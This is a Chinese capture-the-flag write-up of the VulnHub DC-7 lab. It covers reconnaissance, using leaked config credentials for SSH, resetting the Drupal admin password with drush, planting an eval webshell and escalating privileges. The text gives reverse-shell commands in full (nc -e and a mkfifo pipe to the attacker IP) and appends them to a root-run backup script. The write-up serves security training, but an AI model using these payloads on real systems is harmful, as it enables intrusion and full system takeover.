VulnHub靶机 DC-7 打靶 渗透详细流程

VulnHub靶机 DC-7 实战打靶 详细渗透测试流程

目录

  • VulnHub靶机 DC-7 实战打靶 详细渗透测试流程
    • 一、将靶机配置文件导入虚拟机当中
    • 二、渗透测试流程
      • 主机发现
      • 端口扫描
      • 目录爆破
      • web渗透
        • 白盒测试
        • ssh远程连接
      • 提权
        • 修改后台密码
        • GETSHELL
        • 反弹shell

一、将靶机配置文件导入虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-7,356/

image-20240421224959602

二、渗透测试流程

主机发现

使用arp-scan命令或者使用nmap命令进行主机发现

arp-scan -l

image-20240421225109646

端口扫描

nmap -p- 10.1.2.237

探测发现开放22端口SSH,80端口HTTP服务

image-20240421225200927

详细探测服务信息

nmap -p80 -sV -A 10.1.2.237

image-20240421225554298

目录爆破

发现后台

dirsearch -u http://10.1.2.237/ -i 200 

image-20240421231140039

image-20240421231205877

尝试sql注入并未成功

web渗透

白盒测试

指纹识别

whatweb http://10.1.2.237/

image-20240421225614478

访问web界面,通过界面提示,爆破是无法利用成功的,要跳出"盒子",说明可能是白盒测试

image-20240421225803522

image-20240421225816133

通过发现左下角有作者信息,那么来到github搜索一下,看有没有价值信息

image-20240421225914765

通过github找到作者,翻找源码找到config配置文件,打开查看内容

image-20240421230521973

找到配置文件config.php,其文件内容如下:

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

根据上述代码可得服务名称和用户名以及密码,还有数据库的名称,拿到以上信息尝试利用

后台登录:失败

image-20240421231307233

数据库连接:失败

image-20240421231439722

通过端口扫描发现还开放了22端口,尝试远程连接

ssh:成功

image-20240421231530526

ssh远程连接
ssh dc7user@10.1.2.237

成功连接

image-20240421231611819

提权

查找系统具备suid权限的指令

find / -perm -u=s -type f 2>/dev/null

发现没有什么可利用的,但发现有一封邮件,查看有无讯息

image-20240421231741696

cat /var/mail/dc7user 

发现可执行脚本信息,以及数据库文件相关的信息

image-20240421232340214

逐一查看,查看执行备份的脚本

ls -l /opt/scripts/backups.sh
cat backups.sh

image-20240421232653911

image-20240421232457193

脚本属主为root,属组是www-data。

修改后台密码

通过脚本的内容,发现drush命令,对数据库进行了操作,以及打包备份操作。查一下drush相关命令内容

image-20240421233201255

image-20240421233415910

drush命令帮助如下:

image-20240421233117041

可以使用drush来修改密码,更换后台的密码

drush user-password admin --password="admin"

第一次使用报错,来到网站目录再次执行即可

image-20240421233449641

成功更改密码后,登录网站后台:

成功进行后台,来到插件位置,观察有无可代码执行或者getshell的地方

image-20240421233531277

GETSHELL
  • 在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码。
  • image-20240422011604709
  • 百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
  • PHP介绍页面如下,模块包下载地址附上
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20240421234544867

安装新模块,将链接填入即可

等待过后,安装成功

image-20240421234703040

启用即可

image-20240421234754761

来到扩展,安装

image-20240421235005892

等待过后安装成功。

image-20240421235033896

回到home,点击edit编辑,直接写入一句话木马

<?php @eval($_POST['cmd']);?>

image-20240421235202111

写入后保存,注意选择php code

image-20240421235343155

然后直接使用蚁剑进行连接,成功解析php

image-20240422000135586

成功连接

image-20240422000104422

获取www-data权限

image-20240422000401751

反弹shell
//在虚拟终端当中执行反弹命令
nc -e /bin/bash 10.1.2.228 8888

kali成功接收shell,获取www-data权限

image-20240422000518227

获取稳定shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20240422000909497

由于我们上一步骤已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限

//将反弹shell命令追加到文件当中
echo "nc -e /bin/bash 10.1.2.228 6666" >> backups.sh
或
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.1.2.228 6666 >/tmp/f" >> backups.sh

或者在webshell当中的文件管理直接写入

image-20240422010702952

查看文件内容,确认写入成功

image-20240422003307065

//直接执行或者等待计划任务执行即可

image-20240422004655846

kali端成功接收到shell,成功提权,通关!

image-20240422010229106

image-20240422010258453

思路:

主机发现—端口扫描—目录爆破发现后台—服务探测—白盒测试(源码当中找配置文件)—ssh远程登录—邮件信息—找到备份文件脚本—发现脚本当中的drush命令—修改后台密码—进入后台—寻找可代码执行或getshell地方—drupal8不允许执行命令(模块)—下载新的插件—getshell—反弹shell—追加反弹命令—提权即可

文章不妥之处,欢迎批评指正!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/562877.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

深度神经网络(DNN)

通过5个条件判定一件事情是否会发生&#xff0c;5个条件对这件事情是否发生的影响力不同&#xff0c;计算每个条件对这件事情发生的影响力多大&#xff0c;写一个深度神经网络&#xff08;DNN&#xff09;模型程序,最后打印5个条件分别的影响力。 示例 在深度神经网络&#xf…

【免费源码下载】完美运营版商城 虚拟商品全功能商城 全能商城小程序 智慧商城系统 全品类百货商城php+uniapp

简介 完美运营版商城/拼团/团购/秒杀/积分/砍价/实物商品/虚拟商品等全功能商城 干干净净 没有一丝多余收据 还没过手其他站 还没乱七八走的广告和后门 后台可以自由拖曳修改前端UI页面 还支持虚拟商品自动发货等功能 挺不错的一套源码 前端UNIAPP 后端PHP 一键部署版本&am…

51、图论-岛屿数量

思路&#xff1a; 该问题要求在一个由 1&#xff08;表示陆地&#xff09;和 0&#xff08;表示水&#xff09;组成的二维网格中&#xff0c;计算岛屿的数量。岛屿被水包围&#xff0c;并且通过水平或垂直连接相邻的陆地可以形成。这个问题的核心是识别并计数网格中相连的陆地…

ssm068海鲜自助餐厅系统+vue

海鲜自助餐厅系统的设计与实现 摘 要 网络技术和计算机技术发展至今&#xff0c;已经拥有了深厚的理论基础&#xff0c;并在现实中进行了充分运用&#xff0c;尤其是基于计算机运行的软件更是受到各界的关注。加上现在人们已经步入信息时代&#xff0c;所以对于信息的宣传和管…

车载电子电器架构 —— 功能安全开发(首篇)

车载电子电器架构 —— 功能安全开发 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 屏蔽力是信息过载时代一个人的特殊竞争力,任何消耗你的人和事,多看一眼都是你的不对。非必要不费力证明自己…

go | defer、panic、recover

刷一道题&#xff0c; 将当函数触发panic 之后&#xff0c;函数是怎么执行的 然后我去找相关博客&#xff0c;发现这篇讲的蛮好的 接下来我直接上demo &#xff0c;然后通过demo 来逐个分析 package mainimport ("fmt" )func f() {defer func() {if r : recover();…

断言(Assertion)在IT技术中的确切含义— 基于四类典型场景的分析

当“断言”&#xff08;Assertion&#xff09;一词成为IT术语时&#xff0c;语义的混沌性和二义性也随之而生。那么&#xff0c;何为断言&#xff1f;断言何为&#xff1f;实际上&#xff0c;只需分析四种典型场景&#xff0c;确切答案和准确描述就将自然显现。 在SAML&#xf…

浏览器主页被“绑架”了?按照这个可以修改。

前言 小白是一个很喜欢看新闻的人&#xff0c;浏览器的默认主页通常都是MSN和百度的新闻&#xff0c;这可以说是习惯吧。 电脑用得好好的&#xff0c;有一天浏览器的主页被“绑架”了&#xff0c;变成了“hao***”。我知道&#xff0c;新一轮的检查又准备开始了。 上一次是Wi…

Docker - WEB应用实例

原文地址&#xff0c;使用效果更佳&#xff01; Docker - WEB应用实例 | CoderMast编程桅杆Docker - WEB应用实例 在之前的章节中&#xff0c;仅对普通容器进行了演示&#xff0c;但在实际中常常使用到 Docker 容器中的 WEB 应用程序。 运行一个WEB应用 拉取镜像 创建一个容器…

小型架构实验模拟

一 实验需求 二 实验环境 22 机器&#xff1a; 做nginx 反向代理 做静态资源服务器 装 nginx keepalived filebeat 44机器&#xff1a; 做22 机器的备胎 装nginx keepalived 99机器&#xff1a;做mysql的主 装mysqld 装node 装filebeat 77机器&#xff1a;做mysq…

ROS机器人实战,对标古月老师HRMRP机器人(一)——机器人总体方案设计

咳咳&#xff01;这个是自己的毕业设计&#xff0c;内容比较多就拆开发。设计实现了一款SLAM移动机器人&#xff0c;加机械臂完成视觉识别抓取的&#xff0c;同时还有语音识别控制、QT上位机控制、Web网页控制。前几年看古月老师的视频&#xff0c;看到古月老师设计的HRMRP&…

Python exe 文件反编译为 Python 脚本

文章目录 前言版本反编译Python 可执行文件&#xff08;.exe&#xff09;反编译打包一个简单的 .exe 可执行文件提取 pyc 文件使用脚本提取使用工具提取 将 .pyc 文件转换为 Python 脚本入口运行类非入口运行类转换补全后的 pyc 文件uncompyle6 反编译在线工具 可能遇到的问题P…

Web前端框架/库/工具

前言 前端从步枪&#xff08;原生js&#xff09;到了半自动武器&#xff08;jQuery&#xff09;并进化为全自动武器&#xff08;三大框架&#xff08;angular&#xff0c;react&#xff0c;vue及其生态链&#xff09;&#xff09;。 常说工欲善其事必先利其器。对于那些想要提…

前端入门:HTML(CSS边框综合案例)

案例&#xff1a; 源代码&#xff1a; css-borders.html: <body> <div id"square"> </div> <br> <div id"triangle"> </div> <br> <div id"trapezium"> </div> <br> <div id…

开源项目-汽车租赁管理系统

哈喽,大家好,今天主要给大家带来一个开源项目-汽车租赁管理系统 汽车租赁管理系统的主要功能包括汽车管理,新闻管理,用户管理,订单管理,数据展示等模块 注:后续文章都会附上安装教程,有问题也欢迎大家评论私信。 登录 汽车管理 汽车管理可以查看所有汽车进行线上汽…

SpringCloud-搭建XXL-JOB任务调度平台教程

一、XXL-JOB任务调度平台介绍 XXL-JOB是一个轻量级分布式任务调度框架&#xff0c;旨在解决分布式系统中的任务调度问题&#xff0c;提高系统的处理效率和任务管理的便捷性。 1. XXL-JOB任务调度概念 XXL-JOB任务调度平台通过中心化管理方式&#xff0c;使得任务的调度更加高…

【Hadoop】- MapReduce YARN的部署[8]

目录 一、部署说明 二、集群规划 三、MapReduce配置文件 四、YARN配置文件 五、分发配置文件 六、集群启动命令 七、查看YARN的WEB UI 页面 一、部署说明 Hadoop HDFS分布式文件系统&#xff0c;我们会启动&#xff1a; NameNode进程作为管理节点DataNode进程作为工作节…

12.Hexo helpers类似函数和data folder数据文件夹

helper Hexo里的helper&#xff0c;或者说是函数 基本上就是小函数&#xff0c;可以在layout布局中使用&#xff0c;可以允许做一些事情 如字符串操作、检查true或false、检查是否在一个页面上、打印出某个页面中的日期或时间特定格式 打开index.ejs trim 可以通过 <%…

WordPress SQLite Docker 镜像封装细节

为了让大家用的放心&#xff0c;同时解答 GitHub 社区中的疑问。这篇文章聊聊上一篇文章的 Docker 容器封装细节。 写在前面 在前一篇文章《WordPress 告别 MySQL&#xff1a;Docker SQLite WordPress》中&#xff0c;如果你跟着文章实践&#xff0c;大概三分钟就能够启动一个…

智慧化转型赋能园区创新:科技创新引领产业智慧化,打造高效发展新格局

在全球化和信息化浪潮的推动下&#xff0c;园区作为区域经济发展的重要引擎&#xff0c;正面临着前所未有的机遇与挑战。为应对这些挑战并把握机遇&#xff0c;园区需积极拥抱智慧化转型&#xff0c;通过科技创新引领产业智慧化&#xff0c;打造高效发展的新格局。本文将深入探…